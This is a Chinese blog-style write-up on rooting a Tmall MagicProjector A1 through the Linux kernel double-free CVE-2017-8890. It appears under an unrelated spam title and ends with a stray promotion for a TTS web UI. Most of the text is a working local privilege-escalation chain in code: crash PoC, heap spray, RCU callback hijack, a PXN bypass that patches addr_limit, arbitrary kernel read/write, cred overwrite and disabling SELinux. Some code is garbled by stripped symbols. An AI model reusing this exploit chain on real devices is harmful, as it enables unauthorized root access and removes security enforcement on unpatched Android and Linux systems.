网站名和域名能一样吗软件公司注册条件

网站名和域名能一样吗,软件公司注册条件,网站维护是什么工作,谷歌浏览器安卓版利用CVE-2017-8890漏洞ROOT天猫魔屏A1 本来对阿里的东西挺有好感的#xff0c;天猫魔屏这玩意儿买回来还能当投影仪看个电影#xff0c;结果越用越不对劲——系统封闭不说#xff0c;连个ADB都没有。想装点第三方软件#xff1f;门都没有。 后来偶然翻到一个老帖子说可以…利用CVE-2017-8890漏洞ROOT天猫魔屏A1本来对阿里的东西挺有好感的天猫魔屏这玩意儿买回来还能当投影仪看个电影结果越用越不对劲——系统封闭不说连个ADB都没有。想装点第三方软件门都没有。后来偶然翻到一个老帖子说可以通过 CVE-2017-8890 提权我心想反正已经吃灰了不如拆开玩一玩。这一玩不要紧居然真让我搞定了 root 权限还得感谢大神们的分享特别是 Jeremy Huang 和 thinkycx 的开源 PoC取自开源回馈于开源由于是旧记录整理就不在开头说明文中摘抄了文中有链接出处头部补上之前成功的图漏洞背景与设备环境手里这台天猫魔屏 A1 用的是 S905D 芯片跑着 Android 5.1.1内核版本为 Linux 3.14.29。这个版本正好落在CVE-2017-8890的影响范围内从 Linux 2.5.69 到 4.11 的所有版本都受影响包括大多数 Android 5.x ~ 8.x 设备。这个漏洞本质上是一个double free出问题的地方在inet_csk_clone_lock()函数中。当你创建一个 TCP socket 并设置组播选项后内核会分配一个ip_mc_socklist结构体挂载上去而当 accept 新连接时子 socket 会通过sock_copy()直接复制父 socket 的数据——包括那个指向mc_list的指针。于是父子 socket 共享同一个mc_list。一旦两个 socket 先后关闭就会触发两次释放造成 double free。补丁只有一行inet_sk(newsk)-mc_list NULL;就这么简单的一句初始化就能堵住整个安全漏洞。可见很多严重问题根源往往只是“忘了清空指针”。触发崩溃验证漏洞存在先写个最简 POC 验证是否真的能崩int sockfd socket(AF_INET, SOCK_STREAM, 0); setsockopt(sockfd, SOL_IP, MCAST_JOIN_GROUP, group, sizeof(group)); listen(sockfd, 1); client_fd1 accept(sockfd, NULL, NULL); close(client_fd1); // 第一次释放 mc_list client_fd2 accept(sockfd, NULL, NULL); close(client_fd2); // 第二次释放 → double free!编译推送到设备运行CC aarch64-linux-gnu-gcc CFLAGS -static -Wall -pthread TARGET exp all: $(TARGET) run: adb push exp /data/local/tmp/exp adb shell chmod 777 /data/local/tmp/exp adb shell /data/local/tmp/exp程序看似正常退出但串口日志里已经炸了[ 78.580489] Unable to handle kernel paging request at virtual address deeba000 [ 78.587658] pgd ffffffc01815a000 [ 78.589677] c0 5629 (exp) Internal error: Oops: 96000005 [#1] PREEMPT SMP [ 78.628310] PC is at ip_mc_drop_socket0x40/0xb4 Call trace: [ffffffc0017f8da4] ip_mc_drop_socket0x40/0xb4 [ffffffc0017f2c60] inet_release0x5c/0xb0 [ffffffc001738bb4] sock_release0x2c/0xa8 Kernel panic - not syncing: Fatal exceptionip_mc_drop_socket崩溃位置精准命中kfree_rcu(mc_list)。确认漏洞可稳定触发。提权策略设计现实比理想残酷得多目标很明确拿到 root shell并且绕过 SELinux。但现实条件非常苛刻/proc/kallsyms不可见kptr_restrict1SELinux 强制启用enforcing modePXN/PAN 保护全开ARMv8 硬件级防护无法加载模块、不能改 init.rc、没有调试符号传统的 ret2usr 或直接 execve(“/system/bin/sh”) 都走不通。必须另辟蹊径。最终路线图定为利用 double free 实现堆喷占位控制 RCU 回调函数指针劫持控制流PC借助kernel_setsockoptgadget 绕过 PXN永久 patchaddr_limit构造任意读写原语UARW手动定位init_task和当前进程 cred修改 cred 提升权限 patch selinux_enforcing 关闭强制模式fork-exec 启动真正可用的 root shell每一步都不能出错。堆喷与对象占位把命运握在自己手里要让第一次释放后的mc_list内存块被我们完全控制的数据占据。选谁来喷IPv6 的ipv6_mc_socklist是个好选择。结构如下struct ipv6_mc_socklist { struct in6_addr addr; // 用户可控前8字节 int ifindex; unsigned int sfmode; struct ipv6_mc_socklist __rcu *next; rwlock_t sflock; struct ip6_sf_socklist *sflist; struct rcu_head rcu; };关键在于addr是前8字节刚好覆盖ip_mc_socklist.next_rcu指针。只要能让它指向用户态 mmap 的区域就可以伪造对象。于是提前 mmap 一段固定地址空间mmap((void*)0xc0000000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);将后续喷射的ipv6_mc_socklist地址锁定在0xcxxxxxxx范围内确保其next指针可预测。构造 payloadint8_t fake_addr[16] \xff\x00\x00\x0c\x00\x00\x00\x00\x00\x00; // ↑ 这里是 next 指向 FAKE_ADDR offset这样新分配的对象就会落在我们预设的伪造链表结构中。劫持控制流RCU 回调中的陷阱kfree_rcu()并不会立刻释放内存而是延迟到 RCU softirq 上下文中执行回调call_rcu(head-rcu, kfree_rcu_work);最终会调用head-func(head)。只要(unsigned long)head-func 4096就不会被视为偏移处理。所以我们的计划是在 double free 后让mc_list被我们控制的ipv6_mc_socklist占据将该对象的rcu.func指向一个内核函数如kernel_setsockopt当 RCU 回调执行时PC 跳转至该函数实现控制流劫持难点在于时机同步。我们开了一个独立线程不断轮询修改void *func_modify(void *arg) { while(1) { iml-rcu.func (void*)0xffffffc001737f18; // kernel_setsockopt } }只要能在 RCU 回调前成功写入就能命中。绕过 PXN利用 kernel_setsockopt 的副作用kernel_setsockopt是个神奇的函数。它内部有这样的汇编逻辑ldr x22, [x19, #8] ; oldfs ← get_fs() mov x0, #-1 ; KERNEL_DS str x0, [x19, #8] ; set_fs(KERNEL_DS) ... ldr x5, [x21, #40] ; sk ← x21 ldr x5, [x5, #104] ; x5 ← sk-ops-setsockopt blr x5 ; call ops-setsockopt ... str x22, [x19, #8] ; restore fs如果我们能控制x5指向一个ret指令就能跳过最后的restore fs从而让addr_limit永久保持为-1即允许访问所有虚拟地址。怎么控制x5继续分析发现ldr x5, [x21, #40] ; x21 是 socket* ldr x5, [x5, #104] ; x5 ← sk-ops-setsockopt所以我们需要让fake_sock-ops 104指向一个ret指令。于是布局uint64_t *target (uint64_t*)((char*)fake_sock 0x28 104); *target (uint64_t)fake_restore_skip; // fake_restore_skip 是一条 ret 指令一旦 blr x5 执行跳到 ret直接返回而不恢复 fs。从此当前进程拥有了任意地址读写能力。构造任意读写原语pipe writev 的妙用有了addr_limit -1我们可以直接使用系统调用来读写任意内核地址。例如用writev实现任意读int read_at_address_pipe(void *addr, void *buf, size_t len) { struct iovec vec { .iov_base buf, .iov_len len }; return syscall(__NR_writev, (uintptr_t)addr, vec, 1); }原理是writev(fd, iov, count)中fd被当作指针传入。如果addr_limit已经被 patch 成-1那么内核就会认为这是一个合法用户空间地址进而尝试访问它指向的iovec。反过来也可以用readv做任意写。测试一下能否读取内核低地址printf(try to read...\n); for (;;) { if (!read_at_address_pipe((void*)0xFFFFFFC000080000LL, tester, 4)) { printf(Turn UAF to arbitrary read/write succeeded.\n); break; } }一旦打印成功就意味着我们已经完全掌控内核空间。定位 init_task没有 kallsyms 怎么办没法读/proc/kallsyms那就只能手动搜。已知init_thread_union是内核.data段的一个静态联合体包含init_task指针。它的布局通常是union thread_union { struct thread_info thread_info; unsigned char stack[THREAD_SIZE]; };而init_task就挂在栈底附近。我们可以在.data区域扫描特征模式。常见特征comm字段为 “swapper”tasks.next指向自己init_task 自环包含.cpu_timers[3]数组等固定结构更实用的方法是搜索常量字符串或结构签名。比如if (*(uint32_t*)(p 0x0c) 0xffffffff *(uint32_t*)(p 0x10) 0x01d33910 *(uint32_t*)(p 0x14) 0xffffffc0) { init_task p 0x10; }再结合.comm是否为swapper验证。找到init_task后遍历tasks链表查找comm exp的 task_structstruct list_head *pos; list_for_each(pos, init_task-tasks) { struct task_struct *t list_entry(pos, struct task_struct, tasks); if (!strcmp(t-comm, exp)) { current_task t; break; } }cred 偏移通常为0x340不同编译配置略有差异然后struct cred *cred *(struct cred**)((char*)current_task 0x340); *(uint32_t*)((char*)cred 0x04) 0; // uid *(uint32_t*)((char*)cred 0x08) 0; // gid *(uint32_t*)((char*)cred 0x0c) 0; // suid ...全部置零完成提权。关闭 SELinux最后的封锁线即使拿到了 rootSELinux 仍可能阻止你做某些操作比如 mount /system rw。需要找到selinux_enforcing变量并将其改为 0。它位于.bss段初始值为 1典型模式是\x01\x00\x00\x00。于是爆破.bss区域大约几 MBvoid *find_symbol_by_pattern(const char *section_hint, size_t size, const uint8_t *pattern, size_t pat_len) { uint64_t start 0xffffffc000000000ULL; for (uint64_t p start; p start size; p) { if (!memcmp((void*)p, pattern, pat_len)) { return (void*)p; } } return NULL; } unsigned int *selinux_enforcing find_symbol_by_pattern( .bss, 0x500000, \x01\x00\x00\x00, 4 ); if (selinux_enforcing) { *selinux_enforcing 0; }改完之后SELinux 进入 permissive 模式不再阻拦任何操作。启动真正的 root shell不能再用system()因为底层依赖/bin/sh而 Android 根本没有这个路径。改用 fork-execpid_t pid fork(); if (pid 0) { execl(/system/bin/sh, sh, -, NULL); } else { waitpid(pid, NULL, 0); }终于看到那一行梦寐以求的提示符rootMagicProjector_A1:/ # id uid0(root) gid0(root) contextu:r:init:s0 getenforce Permissive紧接着就是自由的操作mount -o rw,remount /system cp busybox /system/bin/busybox busybox adduser myadminSuperSU、Magisk、Termux……统统都可以装上了。最终总结逆向的乐趣在于“破解”本身整个过程花了整整两周。踩过的坑多得数不清错误估计kernel_setsockopt地址导致跳飞cred 偏移因内核 config 不同而变化调试半天才发现selinux_enforcing 死活找不到最后靠暴力搜索才搞定system() 调用失败折腾半天才发现是 shell 路径问题但也正是这些坑让整个过程充满挑战和成就感。现在 AI 模型满天飞像 VoxCPM-1.5-TTS-WEB-UI 这样的语音合成系统也能一键部署44.1kHz 高保真、6.25Hz 低延迟体验确实惊艳。但在底层硬件世界里仍有无数未解之谜等待探索。每一行汇编、每一次 oops、每一个寄存器修改都是人与机器之间的对话。别忘了真正的智能始于掌控自己的设备。